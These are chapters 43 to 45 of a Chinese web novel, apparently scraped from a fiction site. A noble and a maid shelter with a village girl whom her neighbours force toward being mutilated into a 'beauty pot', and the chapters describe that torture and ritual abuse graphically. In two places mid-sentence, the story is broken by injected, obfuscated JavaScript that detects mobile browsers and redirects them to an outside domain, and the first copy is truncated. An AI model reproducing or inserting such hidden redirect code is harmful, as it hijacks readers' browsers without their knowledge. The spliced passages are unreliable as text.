逄楚之是什么人?那是逄家正支的唯一嫡子,太后的侄子,当今皇帝的表兄弟。逄家在朝中的势力根深蒂固,任谁都得罪不起! “若是逄楚之出了什么事………”陆砚修担忧道。 林雪桐猛地转过身,手臂一扬,将桌案上的花瓶摆设全部掀翻在地。顿时,碎片四溅,地上一片狼籍。她再也维持不住那副温柔的面具,脸上露出了狰狞的表情。 “逄家如此门第,逄楚之又是太后最亲之人………”她的声音颤抖着,“那群人要是杀了逄楚之,我们都要完蛋!整个陆家都要完蛋。” 真是该死!她怎么做什么都不顺。这件事本来只是要除掉陆沁和凌青这两个眼中钉,没想到竟然牵扯出这样的大麻烦。 “娘,我这就派人去打听,去找——”陆砚修连忙起身,想要出去。 “不可!”林雪桐一把按住他,眼中闪过狠厉的光芒,“绝对不可!” “为什么?”陆砚修不解。 “你想想,如果我们此时派人去找逄楚之的下落,岂不是不打自招?”林雪桐强迫自己冷静下来,“要是暴露了,那才是真的完了。” 她深深地吸了一口气:“现在唯一的办法,就是装作什么也不知道。等着看进展。” 陆砚修点头称是,没再说话。 他此时内心极其复杂。 现在的局面………其实也正合他意。 逄楚之这个人,从小到大都是他的噩梦,不管是才华还是家世,甚至于容貌,都压得他喘不过气来。这些年来,哪怕他文采盖世,可众人也只是赞叹一句,便继续再说逄楚之如何如何,仿佛他陆砚修就是个陪衬。 如果逄楚之真的死了…… 想到这里,陆砚修的心中竟然涌起一丝欣喜。 这京中再也没人可以和自己比了。 且逄家再一手遮天,还能查得出那几个杀手不成?那个地方偏僻无人,根本无人看见。就算查出来了,他大不了给那几个杀手足够的好处,让他们咬死不说出幕后之人。 不过,逄楚之死不死不一定,那个叫凌青的丫鬟,应该是必定死了。 可惜了………她那副好相貌。只是她阴森森的,鬼气十足,似乎什么秘密都能看得出来,怪让人不舒服的,死了也好。 i 43. 阿禾 晨光初露,山间薄雾缭绕。 采药人背着竹篓,往深山里走着。 脚下的野草被露水打湿,踩在上头发出咯吱咯吱的声音。采药人走得很慢,时不时停下脚步,看看路边的草丛。 忽然,不远处传来窸窸窣窣的声音,夹杂着若有若无的说话声。 他好奇地抬头望去,只见不远处的山坡上,有两个身影正缓缓移动着。 一个身影瘦弱,浑身都是泥污,看起来像是从泥坑里爬出来的一样。远远看上去没有个人样。 另一个身形高大,走路却是蹦着的。一只脚一蹦一蹦往前走,每走一步,都要停顿一下。 一个猴子,一个瘸子。 采药人心里想道:这山上真是什么都有,除了山野鬼怪,竟还能看见这样人不人鬼不鬼的两个东西。 当那两个“玩意”走近,他不由仔细打量了两眼。 那个瘸子嘴里不知说着什么,一瘸一拐往这边走来。经过他身边时,便转过头来——— 采药人瞬间愣住了。 即便脸上还沾一点着泥土和草屑,可那张脸依然美得让人移不开眼。眉如远山,眼如桃花,就连皱着眉头的样子都带着说不出的韵味。 天啊………这是神仙吧。 这是神仙下凡体察民间吧? 要不然,这世上怎么会有如此好看的人呢。 只是………仙人也会瘸腿吗?难道天上的仙人也会受伤? 也不对,说不定,人家就是什么瘸脚大仙呢。 采药人摇摇头,继续往山里走去。 这两个人,正是凌青和逄楚之。 “我还要蹦跶到什么时候?”逄楚之咬牙切齿地看着前方蜿蜒的山路,汗水顺着额头滴落,“等下了山,我另一只腿也要蹦瘸了。” 堂堂逄家子弟,出个门从来都是车马相迎,前呼后拥,何曾这样狼狈过?谁能想象,他逄楚之有一天会像个□□一样蹦蹦跳跳地下山? 更要命的是,身边这个泥丫头还一脸淡定,仿佛他的狼狈与她毫无关系。 凌青在前面不紧不慢地走着,偶尔回头看他一眼,确认他没有摔下去。闻言淡淡回道:“那怎么办?我倒是也想自己下山,找人来救你。是你不愿意。” “我怎么知道你会不会真的回来救我,万一你跟别人说,我死在山上了呢?” “你真懂我。”凌青头也不回地继续往前走走,“我还真是这么想的。” 逄楚之看着她冷漠的背影,彻底无语了。 “姐姐,你还能再无情一点吗?” “可以,”凌青的声音飘在前面,“比如我现在就把你这个瘸子推下去。” 逄楚之:“………那你真厉害,你试试你推得动吗?” 两个人这一路上,嘴就没停过。 忽然,两个人眼前的景色变了。 前方山脚下出现了一个小庄子。炊烟袅袅,几间茅草屋错落有致地坐落在山坡上,看起来颇为宁静祥和。 “那是村庄吗?”逄楚之问道。 “应该是。” 闻言,逄楚之眼睛一亮,似乎看到了什么希望,如获大赦:“管他什么村子,我受不了了,先去讨点水喝吧。” 凌青点头:“也好。” ——————— 庄子不大,房屋多是简陋。 屋子多是茅草屋,有些屋顶还破了洞,用稻草胡乱堵着。 一路上看到的村民,都是衣衫破旧,打着补丁。几个半大的孩子光着脚丫,脸上挂着鼻涕,露出警惕的神色。 他们聚在一起,小声地交头接耳,眼神不住往凌青和逄楚之的方向瞥。 当凌青看到一个村民戒备的目光时,微微一愣。 这种感觉………已经好久没有体验过了。 那些戒备厌恶的目光,那些茅草屋,那些人………都让她想起了她的童年。 凌青垂下眼眸。 逄楚之也明显感觉到了周围投来的不友善目光。毕竟他们两个外人走了一路,不但没有人主动上前搭话,反而所有人都保持着一定的距离,仿佛他们是洪水猛兽。 “怎么感觉这群人很排斥外人?"逄楚之压低声音对凌青说道。 “山村封闭,见到外人有戒心很正常。”凌青稍微一顿,接着平静地回应,“而且我们现在这副模样,确实不像什么好人。” “………”逄楚之看了看自己的衣衫褴褛,再看看身旁人的满身泥污。不得不承认,她说的是对的。 就在这时,凌青感受到了一个不一样的目光。 她回过头去,对上了一双眼睛。 那是一双澄澈至极的眼睛,带着天真和好奇。 凌青将目光移到这位姑娘身上。 她看起来十五六岁,长得清秀,背着个竹篮。虽然同样穿着粗布衣裳,但眼神里没有其他人的戒备,只有友善。 她盯着逄楚之的腿,犹豫再三,还是小声开口: “你们………是受伤了吗?” 她的声音也和人一样,像山涧里流淌的泉水,脆生生的,干净又透亮。 不知怎的,这女孩让凌青想起了两个人。陆沁和红袖。 同样的善良、天真,即使有时候懦弱,却永远能保持自己的那分本心。哪怕伤害自己,也不愿去伤害别人一分一毫。 凌青天生就会被这样的人吸引,于是,她不由自主走到女孩身前。 女孩好奇地打量着她。 “我们是来山上寻草药的,不小心跌落悬崖,变成了这副模样。”凌青道,“不知能不能向姑娘讨杯水喝?” 女孩没有犹豫,点头道:“好………” “阿禾!” 未等女孩说完话,就有村民急急喊道:“阿禾,不知道他们是什么人,你别管!” “阿禾,你离这些外人远点!” 又有几个村民匆匆跑过来,神情紧张地将阿禾往后拉。 “阿禾,听话,快回去!”一个年长的忍让你厉声道,“村长不是和你说了,不许和外面的人讲话!” 阿禾被众人推着往后退,但她却时不时回头望向他们。 “大伯,我们………”逄楚之软下嗓音,试图想要说什么。 “别说了!”那个年长的人直接挥手打断他,“你们赶紧离开这里,我们村子不欢迎外人!” 妄图蛊惑村民的逄楚之:“………” 村民们快步离开,那个叫阿禾的姑娘也被推搡着,脚步踉跄往前走,但她依然不住地回头张望。 逄楚之皱起眉头:“至于吗?讨杯水都不行,这个村子怎么奇奇怪怪的。” 凌青没说什么,但心底也觉得奇怪。 一般的山村虽然对外人会有戒备,但也不至于如此过分。就像她出生的那个村子,即使再排外也没到这种地步。 刚才那些村民的神情,与其说是戒备,倒不如说是………在恐惧什么。 两人渐渐走到没人的地方了,逄楚之正想说什么,忽然后面传来一阵轻微的脚步声。 “你们………” 凌青和逄楚之回头,只见阿禾竟然悄悄跟了过来。她小心翼翼地四处张望,确认没有其他村民跟来,这才快步走到他们面前。 “阿禾姑娘?”凌青还记得她的名字,“你………” “我偷偷又跟过来了。”阿禾小声说道,“村里人不喜欢外人,也不和外人多说话的,但我觉得你们不是坏人。” 她停顿了一下,眼中闪过一丝犹豫,最终还是鼓起勇气说道:“你们看起来受伤了,要不………到我家休息休息吧。” 她话音落下,凌青和逄楚之都愣了一下。 他们对视一眼,都从对方眼里看到了不可思议。 “这样,会不会给你惹麻烦?刚才那些村民………”凌青犹豫道。 “没关系的。”阿禾摇摇头,“我家在村子最那头,他们不会发现的。” ————— 阿禾的家的确在村子最边上。 院子里是两间低矮的茅草屋,屋顶的草都被风吹得有些发白。门口的一片地里,种着不少菜。 推门而入,进了屋子。屋子里很暗,朝向不好,阳光透不进来。屋子家徒四壁,除了几件破旧的家具,再无他物。但即使这样,仍然收拾得很干净。 凌青注意到,桌角的粗瓷碗里,插着束野花。蓝的是婆婆纳,黄的是蒲公英,带着清晨的露水,蔫了半朵却仍倔强地开着,给这屋里添了几分色彩。 “娘,有客人来了。”阿禾朝里屋喊道。 里屋传来一阵咳嗽声,随即响起虚弱的声音:“阿禾?” 阿禾带着他们进了里屋,床上躺着一个面色蜡黄的中年妇人。她身子虚弱,一脸病色,但眼神依然温和。她看到两个人,挣扎着要起身。 “娘,您别起来了。”阿禾赶紧按住她,将两个人跌下悬崖的事讲给她听。 这夫人耐心听完,固执地撑起身子,看着凌青和逄楚之。 即使看到凌青那张被泥糊成一片的脸,她也没露出惊恐或鄙夷,仍然笑着说:“既然身上有伤,就先别走了,我们家里虽什么也没有,但至少能让两位歇歇脚。” 逄楚之道:“不必麻烦伯母和阿禾姑娘,我们借宿一晚,明日便走。” “那怎么行!”阿禾急忙道,“你们从山上掉下来,身上都有伤,必得好好养上几天。” 她眼里丝毫没有客套,只有一片真挚,似乎全身心地在为两个人的伤担忧。 凌青与逄楚之内心皆是涌起一阵说不出的感觉,犹豫片刻后,他们也觉得的确还要在这山上待几天,才方便下山。 逄楚之微微一笑:“那就谢谢伯母和阿禾姑娘了。” 他本就生得秾丽,这么一笑更是明媚至极。阿禾哪见过这等容貌,脸瞬间红了个透彻,慌忙低下头去。 凌青冷冷瞥了逄楚之一眼,内心暗骂他又开始像个花孔雀一样四处招摇了。腿瘸了都能骚包,看来除非瘫在床上了才能彻底老实。 她看向阿禾:“阿禾姑娘,我下山的时候摔倒了泥潭,全身都是泥,能不能问问你,哪里有水可以让我梳洗一番?” 阿禾回过神来,连忙点头:“有,有的,我带着你去。” 凌青跟着阿禾到了屋后。 后面只有一个一个用破布围成的小圈子。 “姐姐,我们家穷,只能在这里擦洗身子。”阿禾红着脸说道,声音渐渐变小,“平时都是用这个木盆打水擦洗,你别嫌弃。” 一个破旧的木盆,放在几块石头垫起的台子上。旁边放着一个陶罐,里面盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她本就是“清水出芙蓉,天然去雕饰”的美,此刻披着头发,穿着简单至极的衣服,竟把那种清冷感全都显出来了。 阿禾不由愣住了,半晌才忍不住惊叹:“姐姐,没想到………你这么好看。” 凌青微微一笑:“你也很好看,天然的好看。没有哪个女孩子是不好看的,只是风格不同罢了。” 阿禾被夸得更害羞了,浅浅笑着低下头,摆弄着衣角:“我哪里有你们好看,你和那个哥哥都很好看。你们真的好配,是天造地设的一对。” “…………”凌青的笑容僵在了脸上。 她和逄楚之? 她和逄楚之竟然也能被看成一对? 就哪怕逄楚之这一路一瘸一拐,她也没去扶他一下。两个人永远保持着一定的距离,这也能被看做一对? 她此时的心情如同吃了个死苍蝇一样———恶心。 阿禾看她没说话,不由疑惑道:“姐姐?” 凌青回过神来,看着阿禾,淡淡一笑:“没什么,走吧。” ———— 黄昏时分,西山如火,晚霞满天。 旧木桌缺了条腿,用石头垫着一角。桌上摆了菜,菜很简单,几样野菜,一碗稀粥。 但看得出,做菜之人已经很用心了,甚至可能对她们家来讲,这顿饭比过年时都要丰盛。 阿禾扶着她的母亲下来一起吃饭。妇人虽然身体虚弱,但精神头还不错,一直在为招待不周而道歉。 “家里穷,只有这些饭,实在是招待不周。”阿禾的母亲满脸羞愧,“你们一定吃不惯这些。” 逄楚之温柔安慰道:“哪里哪里,肯定………” 他话还未说完,凌青就先二话不说,直接动了筷子。她夹起一筷子野菜放进嘴里,细细咀嚼。 “好吃。”她神色很淡,却无比认真:“这野菜做得刚刚好,清香爽口。” 菜的味道确实很淡,但很清香,有种说不出的自然味道。 逄楚之见状,似是不甘示弱,也立即跟着夹了一筷子。 他从小锦衣玉食,何曾吃过这样的粗茶淡饭。但看到凌青吃得如此自然,他也不愿意显得矫情。 吃了几筷子,他便用那甜腻腻的嗓音夸赞道:“阿禾姑娘手艺真好,这野菜做得比什么山珍海味都要香。伯母,那我可不客气了啊。” 他如此嘴甜,又作出一副爱吃的样子,直接把阿禾母女都哄的心花怒放,不住地笑。屋里的气氛一下子变得轻快起来。 阿禾的母亲笑道:“我们阿禾确实是个好孩子,从小就孝顺,家里的活都是她一个人做。” 话音刚落,她想要坐起身一些,却不由自主地用手按住了左胸口,眉头紧皱,脸色一阵发白。 凌青敏锐地注意到,阿禾母亲说话时有些气短,而且左胸似乎有些不适,尤其是在深呼吸或者稍微用力的时候。 “伯母,您是不是左胸经常隐隐作痛?”凌青问道,“尤其是阴雨天的时候,或者稍微动一下就疼得厉害?” 她这么冷不丁地出声,其他三个人瞬间望了过来。 阿禾母亲一愣,有些惊讶:“是,是的。” 阿禾在旁很小声地说道:“我娘的病………是被我阿爹打的,这么多年也没去医治过,便落下了病根。” 她的声音越来越低落,但还是说了出来:“我阿爹嗜酒如命,每次喝醉了就打我娘。这么些年,我娘的身体就垮了。” “不过...……”她停顿了一下,低下了头:“不过他三个月前喝酒喝死了,我娘也不用再受苦了。” 她说这话时,脸上没有悲伤,反而有种替她娘解脱了的感觉。 凌青和逄楚之久久没有说话。 44. 人壶 第二天清晨。 凌青起来到院子里的时候,逄楚之已经在外面了。 他正手里拿着斧头,认认真真劈柴。 动作生疏,却也像模像样。 凌青心里有些惊讶。虽说逄楚之比起其他世家子弟,是有些不同。但到底是第一大族的世家子弟,到哪不是仆从簇拥的,哪曾干过半点重活。 他能想到来帮阿禾做些农活,还肯弯下腰来抡斧头劈柴,这心性倒还不错。 凌青看着逄楚之的动作,一时没有出言打扰。 他拖着一条伤腿,动作难免带了几分滞涩,可一举一动的那种矜贵依然丝毫未减。 好像手里拿着的不是生锈的斧子,而是剑或者笛子什么的。 说到笛子,凌青又想起他莫名其妙送给自己的那个笛子。 等回去就还给他。 也许是她的目光太过明显,逄楚之很快察觉到了,停了动作,转头望过来。 山间的晨光漫过矮矮的院墙,将两人轻轻笼住。他立在院中,碎金般的光落满肩头。她站在门口,衣袂被晨风吹起一角。 四目相对的刹那,仿佛有什么东西在悄悄漫溢。 他眼底先是掠过一丝讶异,随即便是浅浅的笑意。 凌青静静地与他对视着。 无论逄楚之眼眸有多亮如星子,她的眼睛依旧是那汪清潭,生不起半分波澜。 周遭的一切都在此刻凝住了。 不知过了多久,凌青率先移开眼神,径直走到他身边,打量着地上劈好的柴火。 “劈得不错。” 逄楚之眼睛眯成月牙状:“既然留宿于此,也不能吃白饭,自然要做点什么。” 凌青点点头,也想着做点什么。 打量半晌,她的眼神落在那片草地上。 她走过去,挽起袖子,蹲下开始拔草。 她手法娴熟,每一株杂草都快准狠地连根拔起,仿佛这样的农活干过无数次一样。 逄楚之看着她的动作,眉头微微一挑。 门前菜地不大,但杂草颇多,想来阿禾平日里忙着照顾母亲和维持生计,也顾不上这些。凌青拔草拔得专心,全拔完才发现身边已经没动静了。 她甩甩手上的泥,正想站起来,忽然有一只手伸到她面前。 修长干净,骨节分明,青筋微凸,如同被人静心打磨过的玉石一般精致。手里端着一个粗瓷碗,里面装了满满的水。 “渴了吧?”逄楚之将碗递过去。 凌青直起身子,看了他一眼。 “放心吧,没下毒,要不然我先喝一口给你看?”逄楚之见她犹豫,唇角微勾,眼里带着戏谑。 凌青又瞥他一眼,这才伸手端过来,一饮而尽。 “多谢。”她淡淡道。 逄楚之从她手中拿过碗,却没有立即回屋。 他望着远山,语气中带着几分感慨:“昨晚………我睡的还挺好的。也不知道是不是那晚在山洞睡的太不踏实,反正昨夜我睡的出乎意料的香。” 他伸了个懒腰,深吸一口气:“这山野清风啊,就是不一样………” 凌青手中的动作微微一顿,抬眸看他,语气带着嘲讽:“这样的村子,逄大公子竟也住得惯?” 见惯了锦衣玉食,偶尔吃个山间小菜,当然是觉得惬意。那要让他长此以往地住下去,这位逄公子自然要哭着喊着走了吧。 逄楚之闻言,收敛了笑容,脸色瞬间变得委屈。 “姐姐,”他声音又软了几分,“你这都要挑刺。我真的很不明白,我到底在你眼里是什么样的?” 说着说着,他那双桃花眼中竟然泛起了水光,看起来楚楚可怜:“在你心里,我就是又狭隘又自私又恶毒又娇气,我在你眼里一点好处是不是也没有?” 那语气之中的委屈和不甘,若是旁人听了,定会心生怜惜。 凌青看着他,慢慢道:“也不是一无是处。” 逄楚之眼前一亮,凑过去:“哦?” “至少你列举自己缺点的时候,列举得很流畅。” “………” 逄楚之又被气笑了,张张嘴,刚要反驳,却听外面传来了巨大的吵嚷声。 这争吵声还伴随着女子的哭声,听起来很是凄厉。 两人对视一眼,凌青立即拍了拍手上的泥土,与逄楚之一起朝声音传来的方向走去。 村口的空地上,阿禾被一群村民团团围住。她神色焦急,几近崩溃,被人拉扯着,眼中满是不可置信。 看这样子,显然已经被纠缠了一阵子。 “阿禾,你不能这么没良心!”一个村民大声道,“我们看你们一个孤女一个寡母的可怜,平时没少帮衬你们,你们不能忘恩负义!” 他脸色涨红,神色愤怒,伸出的手几乎要指到阿禾的鼻尖。 “就是!你爹在的时候,我没少借他钱!那些粮食,那些柴火,我们哪次不是二话不说就给了?” 在这片指责声中,阿禾哭着抱怨:“这些我都还了的,我也知道你们的好………” “还了就有用了?阿禾,不是婶子说你,这些年你们家这么难,我们真是帮了你们不少,你怎么能这个时候如此冷眼看着我们家饿死呢?” 阿禾被说得哑口无言,只能一个劲的流泪。 这时,一个须发皆白的老人从人群中走了出来。众人都喊了一声“村长。” 村长点点头,沉着脸看向阿禾:“今年村子收成不好,各家各户都难过。韩老爷说了,只要你同意,就给村里一百两银子。你娘那病,也给二十两银子治病。这是多大的恩德!” 他死死盯着阿禾,严肃道:“难道,你不想你娘过得好? 阿禾早已哭得上气不接下气,浑身颤抖:“我不能去………我去了,谁去照顾我娘?我不能去,我不去那种地方………” “闭嘴!”村长厉声喝道,“什么叫那种地方?韩老爷家是县城里数一数二的大户,你去了是你的福气!” 另一个村民附和道:“我们村子就你的八字合上了,你还长得标致,韩老爷看中了你,要你去做美人壶,这是多大的荣耀!” 美人壶? 凌青简直不敢相信自己耳朵里听到的。 她不由看向了逄楚之,低声道:“是我知道的那个美人壶吗?” 逄楚之脸色也变得难看,他蹙着眉点点头:“是某些权贵的癖好。” 他蹙了蹙眉,又缓缓道: “所谓美人壶………就是将少女的腿掰断,装进特制的大壶中,让其两只胳膊从壶中的洞伸出来,打扮成酒壶的样子。主人要喝酒,就让美人壶喝一口酒,再嘴对嘴喂给主人……”他说到这里,似乎也觉得有些不适,不肯再说下去。 哪怕凌青知道美人壶的大概意思,但听到逄楚之讲出,她的心脏还是瞬间狠狠一缩,仿佛被什么东西紧紧攥住。 那种毛骨悚然的寒意从脚底直冲天灵盖,让她浑身的血液都似乎凝固了一般。 紧接着,如潮水般涌来的愤怒和恶心几乎要将她吞没。 她握紧手心,看向被围在人群中的阿禾。 “若是我姑娘八字与韩老爷合,我立马送了她去!可惜这丫头不争气。” “你去了,也算半个侍妾,那就是韩老爷的人,可就跟我们不一样了!” 那群人个个都是一样的嘴脸,表面似是关心奉承,实则幸灾乐祸。他们把一个活生生的女孩子当作货物一般议论着,仿佛阿禾的生死根本不值一提。 凌青只感觉胃里一阵翻江倒海。 恶心,太恶心了。 逄楚之紧蹙着眉:“那些权贵认为,用美人壶喝到的酒,会给自己增加运道。所以才选八字合的女子。但………阿禾若是去了,怕再也回不来了。” 凌青的睫毛微微颤动两下,随即抬起了眸子。 那眸子里似有翻涌的暗流,每一寸都是戾气。但转瞬即逝,再眨眼,眼里又恢复了平静。 “走,回去吧。”她轻声道。 逄楚之意外地看着她:“不管了?” “管,但不是现在。” ——————— 阿禾回来的时候,整个人都如行尸走肉一般。 她走进来,强撑着对两人笑了笑,但那笑容比哭还要难看。 “你们在家里还好吧?”她强作轻松地问道,声音却沙哑得厉害。 “当然好,只是我们怕太叨扰。”凌青装作这么都不知道,轻声道。 “怎么会,你们多住几天。娘因为家里多了些人气,很是开心呢。”阿禾的声音已经不知不觉带上了哽咽。她可能怕自己当场落下泪来,连忙进了里屋。 凌青又与逄楚之对视一眼,两人不约而同地竖起耳朵。 “娘。”阿禾的声音带着勉强,“我过两天可能要去城里做点活。听说城里有个老爷要找人做精细活计,给的银子不少。” 阿禾母亲的声音传来:“人生地不熟的,会不会很辛苦?” “没事的,不辛苦。只是我这样去了,娘就没人照顾了。” “你放心,我能照顾好我自己,我慢慢扶着也就下床了。” “那怎么行,娘,我跟李婆子说好了,她会过来照顾您的。” 阿禾母亲声音越发疑惑:“她向来看不上咱家,怎么会………” 阿禾似是沉默了一会儿,声音强行带上了笑意:“我上次………帮了她们些忙,她们现在对我可好了,一个个争着要帮我照顾你哩………” 凌青再也听不下去了,“腾”地一下站了起来,准备进去。 “喂!你干嘛?”逄楚之被她的动作惊到了,错愕地问她。 “进去,跟她们说,不能去。”凌青面无表情道。 “你疯了啊。”逄楚之不可思议地看着她:“大姐,虽然咱们不可能不管,但这毕竟是人家的家事,你这么冒然进去,也太奇怪了吧。而且她娘还生着病,你不怕人家受刺激?” “我当然知道这个道理。阿禾本就心善软弱,被那群人逼着不得不去,必须有个人来阻止她,这个人只能是她娘。难不成,你以为咱俩能劝得动她?” 逄楚之看她这反应,也上来火了:“你做事能不能周全点,你这个半死不活的样子进去,她娘先一口气撅过去。这事要慢慢说,我去说。” 凌青把目光移到他脸上。 的确………虽然她一向看不惯此人的行为做事,觉得他太过委婉虚伪。但这个时候,的确是他出马效果更好。 “行,那你去吧。” 逄楚之进屋去,与阿禾母女不知说了什么。 只听到屋里传来阵阵哭声,阿禾母亲声嘶力竭,阿禾也不断抽泣。 “怎么能让你去做那种东西!那不是人做的!阿禾!你千万不能去啊!” “娘,他们说很快我就回来了………到时候,还会给我一百两银子,还会给你治病。哪怕我没了腿,咱们娘俩之后也能安稳度过下半辈子了。” 阿禾母亲声音越发凄厉颤抖:“胡说八道!美人壶哪有回来的道理!那是要把你的腿都折断啊,我的阿禾………他们根本就没想让你活着回来………” “娘………” 话音未落,里屋传来了惊叫声。先是是阿禾母亲发了疯的扇自己巴掌。后这巴掌声又掺杂着更加凄凉的哭声。桌椅翻倒,东西稀里哗啦滚落一地,似乎里面动静闹得很大。 “伯母!”逄楚之的声音传来。 “你敢去!”阿禾母亲的声音突然拔高,带着歇斯底里的绝望:“你若敢去,我就吊死在屋里!我死了………我死了就管不着你了……… “我的阿禾啊……娘真的不能看你去送死,若还是你要去,那就让咱娘俩一起死。” 阿禾“哇”地一声哭了出来,扑到她怀里,“娘,我不去了………我不去………” 母女俩抱作一团,泣不成声。 ……… “吱呀———” 房门轻响,逄楚之从屋里走了出来。 凌青就坐在院子里的石头上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291474|177626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰头望着天空。夜色已至,点点星子散在天南西北各个角落。 “你不是很委婉吗?”她头也不回地说道,“这效果不也就这样。” 逄楚之在她身边坐下,与她肩并肩:“至少我劝住了阿禾。” 凌青转头望向他,没有说话。 “怎么?”逄楚之也转过头,看向她的眼睛,“怎么忽然沉默了?” 凌青淡淡道:“我在想,这个事会发展成什么样。“ “嗯?” “看那群村民白天的架势,我不觉得阿禾拒绝,他们就会作罢。” “你的意思是………” 凌青没有说话,只是重新转过脸,望着满轮圆月。 ……… 戌时三刻,远处忽然传来了脚步声。 脚步杂乱而急促,似是一群人齐声而来。随着脚步声越来越近,火光也开始在黑暗中闪烁。 先是一点,然后便是无数光亮聚在一起。很快,火把的光亮将整个小院都照得如同白昼。 凌青和逄楚之对视一眼,透过窗缝看向外面。 那群村民出现在了院外。 他们脸在火光的映照下,如同变形了一般,显得格外狰狞可怖。白天还在“苦口婆心”的那些人,此刻已经完全暴露了真面目,如同恶鬼撕下画皮,露出血肉模糊的真身。 “阿禾!你给我出来!” “不识抬举的贱货!” “你就这么残忍,妄图拖累全村?” “韩老爷说了,你不去的话,我们全村之后的生意就都黄了!” 声音一声比一声尖锐,一声比一声恶毒。 “你一个女子,本来就要嫁做人妇,去给大户人家做玩物有什么不好!” “你是个女儿家的,给你娘也养不了老,现在有机会能让你娘吃饱饭,你却还这么不知好歹!” 这些令人熟悉的话语,一点一点,钻进凌青的耳朵。 她的身体不由自主开始变冷,颤抖,甚至放空。不是因为恐惧,而是因为那些埋藏在记忆深处的声音,正在这一刻疯狂涌现出来。 “你这个妖孽!克死了你的弟弟!”母亲的声音从记忆深处传来,带着怨恨与憎恶。 “听姐的,娘和爹是为了咱们好。那张傻子虽然不精神,但他会对你好的。”姐姐们的声音紧随其后,她们苦口婆心的面容,也浮现在眼前。 然后是村里人的谩骂: “怪胎!” “扫把星!” “他家摊上她真是倒霉了!” 所有的声音都夹杂到一块,在她的耳边不断回响、重叠、交织。过去的声音和现在的声音混合在一起,分不清哪是梦境哪是现实。 恍惚间,她仿佛又看到了那个小小的自己,被围在人群中央,瘦弱的身体在那些高大的身影面前显得那样渺小。所有人都在咒骂她,所有人都恨不得她立刻消失。 但就在那一刻,那个小小的她忽然抬起头来,声嘶力竭地大吼道: “我就是天煞之人!” “我要克死你们所有人!” 此话一落,似乎有什么凝固了。 所有的声音都消失了。 过去的,现在的,真实的,虚幻的,一切都归于寂静。 凌青缓缓睁开眼睛。 门外村民们似乎停止了叫骂,但脚步声已经越来越近。 阿禾脸色惨白地看了一眼门缝,回头道:“他们……他们要进来了。我……果然是逃不了的。” 她转向凌青和逄楚之,露出一个难看至极的苦笑:“哥哥,姐姐,谢谢你们帮我。只是,我们村里的女子都摆脱不了这个命运,而我只要接受,我娘也会真的平安无事。” 逄楚之蹙眉道:“阿禾姑娘,你………” “我没关系的。”阿禾轻声道:“你们快从后屋走吧,我是逃脱不掉的,但那你们可以。村里人不喜外人,要见了你们,一定会迁怒于你们,你们还是快走吧。” 逄楚之缓缓看向凌青,给了她一个眼神。 凌青沉思片刻,微微点了点头。 “我们走。” 两个人毫不犹豫,起身从后面出去。 后院的墙根处,堆了个矮矮塌塌的柴草堆。但除了这个,也没有可藏人的地方了。 两个人默契地钻进去,紧紧挨在一块。 幸而这柴草堆虽然矮矮瘦瘦,跟营养不良似的,但也能勉强遮住两个人。只是两个人完全靠在一起,几乎没有任何间隙。 但凌青已经顾不得这些了,只一心竖着耳朵听前面的动静。 “咣当!” 只听这么一声,前屋的木门似乎被撞开了。 火把的光亮瞬间照亮了整个屋子,很快屋里便是吵嚷声。 “把她带走!”村长的声音传来。 “不要!不要!”阿禾似乎在拼命挣扎,却无济于事。 阿禾母亲发出撕心裂肺的哭声:“你们这些畜生!强抢民女!天理何在!” “村里的女儿不都要经历这一遭?文老二的女儿还被送去给贵人生孩子,生下孩子后还被贵人勒死了,文老二也没说啥!” “可我只有阿禾了!”阿禾母亲的声音更加凄厉。 村长毫无波澜的声音传来:“阿禾若死了,村里人一定给你养老。这样总行了吧?” 黑暗中,凌青的手慢慢握成了拳,指甲深深地掐进了掌心里。 逄楚之看了看她,低声说道:“我们………” 凌青转头看向他。 月光映照之下,她的眼中似盈满了寒意 “你说,”她的声音很轻,很慢,“让这些畜生尝尝什么叫自食其果,如何?” 逄楚之看着她,没有说话。 过了许久,他的唇角也慢慢勾起一抹森然的笑意。 那双向来粲然的桃花眼,此时瞳孔却深不见底,只能隐隐窥到,那暗藏在最底下的疯狂。 “姐姐,想到一块去了。”他笑了笑,尾音微微上扬:“我早有此意。” 45. 内噬 破旧不堪的厢房里,点着几根粗大的红烛。烛光摇曳不定,将整个房间照得忽明忽暗。 阿禾被绑在一张破旧的木床上,手脚都被麻绳死死捆住,嘴里塞着破布条,只能发出呜呜的声音。她的眼泪早已在昨天哭干,此时一滴泪也流不出,徒剩恐惧与绝望。 门外传来脚步声,几个村妇推门而入。为首的是一位头发已经发白的婆子。 这是村里最受爱戴的王神婆,她惯会做这些法事,所以在村子里,有时候说话比村长还好使。 “开始净身!”王神婆尖声喝道。 其他几个村妇围了上来,打量着阿禾。 她们每个人脸上都带着笑容,仿佛即将迎来的不是什么净身,而是一场盛宴。躺在床上的阿禾,就是这场宴席的主菜。 阿禾似乎猜想到要发生什么,眼神更加惊恐,不住地扭动,想要躲避。 王神婆喝道:“按住她!” 那几个粗壮夫人连忙麻利上前,强行按住阿禾。 “力气小点,别把她按坏了。”神婆冷声道:“八字再合,也得画个符。” 她从旁边农妇的手里接过毛笔,蘸上朱砂。那朱砂散发着刺鼻的味道,似是掺杂了什么动物的血。 毛笔渐渐划过她的额头,阿禾感到一阵剧烈的灼烧感,仿佛有无数只蚂蚁在啃咬着她的血肉。那朱砂似乎有生命一般,在她的皮肤上蠕动着,渗入毛孔,带来钻心的疼痛。 “一划天灵钉瓮底———”王婆的声音忽然变得极为模糊,黏腻又沉闷,似乎从远处传来一般。 “二抽脊骨做梁楹。” “三榨泪血贵人饮。” “你莫醒……你莫醒———” 最后一个“醒”字落下时,烛火“噗”地灭了。 黑暗里,阿禾的意识清醒得可怕。她能清晰感觉看到那支毛笔在脸上画来画去。 